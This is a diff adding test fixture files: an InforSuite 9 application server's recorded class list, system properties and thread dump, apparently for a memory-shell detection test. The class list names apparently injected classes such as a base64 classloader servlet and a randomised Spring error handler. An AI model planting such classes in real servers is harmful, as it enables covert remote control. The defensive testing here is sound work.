java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.cvicse.inforsuite.grizzly.ProcessorExecutor +com.cvicse.inforsuite.grizzly.filterchain.DefaultFilterChain +com.cvicse.inforsuite.grizzly.filterchain.ExecutorResolver$9 +com.cvicse.inforsuite.grizzly.http.server.HttpHandler +com.cvicse.inforsuite.grizzly.http.server.HttpServerFilter +com.cvicse.inforsuite.grizzly.nio.DefaultSelectorHandler +com.cvicse.inforsuite.grizzly.nio.SelectorRunner +com.cvicse.inforsuite.grizzly.nio.transport.TCPNIOTransport +com.cvicse.inforsuite.grizzly.strategies.AbstractIOStrategy +com.cvicse.inforsuite.grizzly.strategies.WorkerThreadIOStrategy +com.cvicse.inforsuite.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +com.cvicse.inforsuite.grizzly.threadpool.AbstractThreadPool$Worker +com.cvicse.inforsuite.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +com.cvicse.inforsuite.grizzly.utils.DelayedExecutor$DelayedRunnable +com.cvicse.loong.bixi.config.Transactions$Notifier$1 +com.cvicse.loong.common.util.logging.LoggingOutputStream +com.cvicse.loong.common.util.logging.LoggingOutputStream$1 +com.cvicse.loong.enterprise.server.logging.IASFileHandler +com.cvicse.loong.enterprise.server.logging.IASFileHandler$3 +com.cvicse.loong.enterprise.v9.server.AppServerStartup$1 +com.cvicse.loong.enterprise.v9.services.impl.ContainerMapper +com.cvicse.loong.enterprise.v9.services.impl.ContainerMapper$HttpHandlerCallable +com.cvicse.loong.enterprise.web.WebPipeline +com.cvicse.loong.enterprise.web.logger.FileLoggerHandler +com.cvicse.loong.enterprise.web.logger.FileLoggerHandler$1 +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.framework.util.EventDispatcher +org.apache.felix.framework.util.EventDispatcher$1 +org.apache.felix.scr.impl.ComponentActorThread +org.springframework.upuVk.ErrorHandler diff --git a/integration-test/src/test/resources/infos/InforSuite9ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/InforSuite9ContainerTestBasicInfo.txt new file mode 100644 index 00000000..921836b1 --- /dev/null +++ b/integration-test/src/test/resources/infos/InforSuite9ContainerTestBasicInfo.txt @@ -0,0 +1,1051 @@ +# Generated At 2025-08-10 14:57:37 +SystemProps: +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/inforsuite/as/domains/domain1 +javax.net.ssl.trustStorePassword: changeit +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/inforsuite/as/domains/domain1/config/logging.properties +sun.boot.class.path: /usr/local/inforsuite/as/modules/endorsed/javax.annotation-api.jar:/usr/java/jdk-8/jre/lib/resources.jar:/usr/java/jdk-8/jre/lib/rt.jar:/usr/java/jdk-8/jre/lib/sunrsasign.jar:/usr/java/jdk-8/jre/lib/jsse.jar:/usr/java/jdk-8/jre/lib/jce.jar:/usr/java/jdk-8/jre/lib/charsets.jar:/usr/java/jdk-8/jre/lib/jfr.jar:/usr/java/jdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.cvicse.loong.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.8.0_271-b09 +com.cvicse.inforsuite.base.dir: /usr/local/inforsuite/as +javax.net.ssl.keyStore: /usr/local/inforsuite/as/domains/domain1/config/keystore.jks +user.name: root +osgi.shell.telnet.ip: 127.0.0.1 +com.cvicse.loong.las.installRootURI: file:/usr/local/inforsuite/as/ +felix.fileinstall.log.level: 2 +com.cvicse.loong.las.hostName: 9909a7697fe1 +user.language: zh +sun.boot.library.path: /usr/java/jdk-8/jre/lib/aarch64 +AS_IMQ_LIB: ../../mq/lib +xxxx: +java.version: 1.8.0_271 +user.timezone: UTC +com.cvicse.loong.las.agentRoot: /usr/local/inforsuite/as/nodes +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +java.endorsed.dirs: /usr/local/inforsuite/as/modules/endorsed:/usr/local/inforsuite/as/lib/endorsed +java.rmi.server.randomIDs: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +com.cvicse.loong.las.instanceName: server +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +user.country: CN +org.glassfish.grizzly.DEFAULT_MEMORY_MANAGER: org.glassfish.grizzly.memory.HeapMemoryManager +java.home: /usr/java/jdk-8/jre +felix.fileinstall.dir: /usr/local/inforsuite/as/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.cvicse.loong.las.imqLib: /usr/local/inforsuite/mq/lib +path.separator: : +java.vm.version: 25.271-b09 +com.cvicse.loong.las.productRoot: /usr/local/inforsuite +AS_CONFIG: /usr/local/inforsuite/as/config/../config +userinfor: www.cvicse.com +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +com.cvicse.loong.las.installRoot: /usr/local/inforsuite/as +AS_IMQ_BIN: ../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/inforsuite/as/domains/domain1/config/server.policy +jdk.tls.rejectClientInitiatedRenegotiation: true +sun.io.unicode.encoding: UnicodeLittle +proname: www.cvicse.com +awt.toolkit: sun.awt.X11.XToolkit +javax.rmi.ssl.client.enabledProtocols: TLSv1,SSLv2Hello +AS_INSTALL: /usr/local/inforsuite/as/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +java.specification.vendor: Oracle Corporation +AS_DERBY_INSTALL: /usr/local/inforsuite/as/config/../../javadb +com.cvicse.loong.enterprise.jaccprovider.property.repository: /usr/local/inforsuite/as/domains/domain1/generated/policy +com.cvicse.loong.las.instanceRoot: /usr/local/inforsuite/as/domains/domain1 +java.library.path: /usr/local/inforsuite/as/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Oracle Corporation +jdk.corba.allowOutputStreamSubclass: true +java.runtime.name: Java(TM) SE Runtime Environment +com.cvicse.loong.las.derbyRoot: /usr/local/inforsuite/javadb +sun.java.command: com.cvicse.loong.enterprise.inforsuite.bootstrap.ASMain -upgrade false -domaindir /usr/local/inforsuite/as/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,8060,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/inforsuite/as/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-classpath /usr/local/inforsuite/as/modules/admin-cli.jar -debug false -asadmin-classname com.cvicse.loong.enterprise.admin.cli.AdminMain -watchdog false +java.class.path: /usr/local/inforsuite/as/modules/inforsuite.jar:/usr/local/inforsuite/as/lib/monitor/flashlight-agent.jar +com.cvicse.loong.las.configRoot: /usr/local/inforsuite/as/config +com.cvicse.loong.las.imqBin: /usr/local/inforsuite/mq/bin +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/inforsuite/as/domains/domain1 +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +AS_DEF_DOMAINS_PATH: /usr/local/inforsuite/as/config/../domains +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +InforSuite_Platform: Felix +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/java/jdk-8/jre/lib/ext:/usr/java/jdk-8/jre/jre/lib/ext:/usr/local/inforsuite/as/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/inforsuite/as/domains/domain1/config +com.cvicse.loong.enterprise.config.config_environment_factory_class: com.cvicse.loong.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +com.ctc.wstx.returnNullForDefaultNamespace: true +java.security.auth.login.config: /usr/local/inforsuite/as/domains/domain1/config/login.conf +com.cvicse.loong.las.instanceRootURI: file:/usr/local/inforsuite/as/domains/domain1/ +com.cvicse.inforsuite.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +com.cvicse.loong.enterprise.security.httpsOutboundKeyAlias: s1as +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +javax.management.builder.initial: com.cvicse.loong.enterprise.v9.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +inforsuite.version: Inforsuite Application Server 9 B000000 (build B000000 2018-06-13T01:50:37Z) +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +com.cvicse.loong.las.domainsRoot: /usr/local/inforsuite/as/domains +felix.fileinstall.bundles.new.start: true +com.cvicse.loong.las.javaRoot: /usr/java/jdk-8/jre +java.specification.version: 1.8 +javax.net.ssl.trustStore: /usr/local/inforsuite/as/domains/domain1/config/cacerts.jks +javax.net.ssl.keyStorePassword: changeit +osgi.shell.telnet.port: 6666 + +=========================================== + +ThreadStacks: +"datadog-message-consumer-1" #52 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47b4657b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Accept-8686" #67 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:535) + at java.net.ServerSocket.implAccept(ServerSocket.java:545) + at sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:199) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:748) + +"pool-20-thread-1" #89 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"logging output pump" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@24801f0e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:153) + at com.cvicse.loong.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:131) + +"GC Daemon" #69 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@53143fbe + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"admin-thread-pool::admin-listener(1)" #46 daemon [WAITING] on java.lang.Object@914c79c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[inforsuite-web].StandardHost[server].StandardContext[/app]]" #79 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1677) + at java.lang.Thread.run(Thread.java:748) + +"Thread-19" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a53ac0c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-17-thread-1" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@572bb104 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixFrameworkWiring" #15 daemon [WAITING] on java.util.ArrayList@3bf4d572 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:162) + at java.lang.Thread.run(Thread.java:748) + +"FelixDispatchQueue" #13 daemon [WAITING] on java.util.ArrayList@44488881 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.util.EventDispatcher.run(EventDispatcher.java:1063) + at org.apache.felix.framework.util.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.util.EventDispatcher$1.run(EventDispatcher.java:101) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(5)" #43 daemon [WAITING] on java.lang.Object@704bcba7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"pool-24-thread-1" #94 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-25-thread-1" #95 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"DestroyJavaVM" #58 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"AutoDeployer" #54 daemon [TIMED_WAITING] on java.util.TaskQueue@65a369ac + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-thread-pool::http-listener-1(4)" #29 daemon [WAITING] on java.lang.Object@646b5012 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837853209" #17 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@12293585 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"DynamicReloader" #55 daemon [TIMED_WAITING] on java.util.TaskQueue@516a4dce + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Executor-Service-5" #38 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@62f12d89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-4" #37 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@62f12d89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-13-thread-1" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@23716192 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"InforSuite Kernel Main Thread" #57 [WAITING] on com.cvicse.loong.enterprise.v9.server.AppServerStartup$1@4d3a37b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.cvicse.loong.enterprise.v9.server.AppServerStartup$1.run(AppServerStartup.java:247) + +"Executor-Service-3" #36 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@62f12d89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-14-thread-1" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@29d84769 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-thread-pool::http-listener-1(2)" #27 daemon [WAITING] on java.lang.Object@646b5012 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:748) + +"Executor-Service-1" #34 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@62f12d89 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"IASFileHandler log pump" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1ad5204c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.cvicse.loong.enterprise.server.logging.IASFileHandler.log(IASFileHandler.java:936) + at com.cvicse.loong.enterprise.server.logging.IASFileHandler$4.run(IASFileHandler.java:628) + +"Configuration Updater" #59 daemon [WAITING] on java.util.LinkedList@7206caca + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:67) + +"pool-22-thread-1" #92 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5dd3da74 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"transaction-manager" #25 daemon [WAITING] on java.util.TaskQueue@f9db473 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"RunLevelControllerThread-1754837853210" #18 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@12293585 + java.lang.Thread.State: 